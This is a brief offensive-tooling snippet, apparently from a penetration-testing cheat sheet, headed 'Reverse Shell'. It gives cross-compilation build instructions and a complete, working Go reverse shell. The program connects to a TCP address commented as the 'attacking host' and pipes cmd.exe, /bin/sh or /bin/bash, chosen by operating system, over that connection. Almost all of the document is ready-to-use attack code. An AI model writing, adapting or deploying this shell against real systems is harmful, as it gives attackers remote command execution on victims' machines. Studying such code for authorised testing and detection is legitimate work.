Reverse Shell

To create a binary for a specific operating system or architecture, set the GOOS and GOARCH environment variables before running the go build command.

$ GOOS=$target_os GOARCH=$target_arch go build reverse_shell.go

package main

import (
	"net"
	"os/exec"
	"runtime"
)

func main() {
	// Establish connection to attacking host
	conn, err := net.Dial("tcp", "127.0.0.1:443")
	if err != nil {
		panic(err)
	}

	// Determine which shell to use
	var shell string
	switch runtime.GOOS {
	case "windows":
		shell = "cmd.exe"
	case "linux":
		shell = "/bin/sh"
	case "darwin":
		shell = "/bin/bash"
	}

	// Run shell command, pointing file descriptors to remote connection
	cmd := exec.Command(shell)
	cmd.Stdin = conn
	cmd.Stdout = conn
	cmd.Stderr = conn
	cmd.Run()
}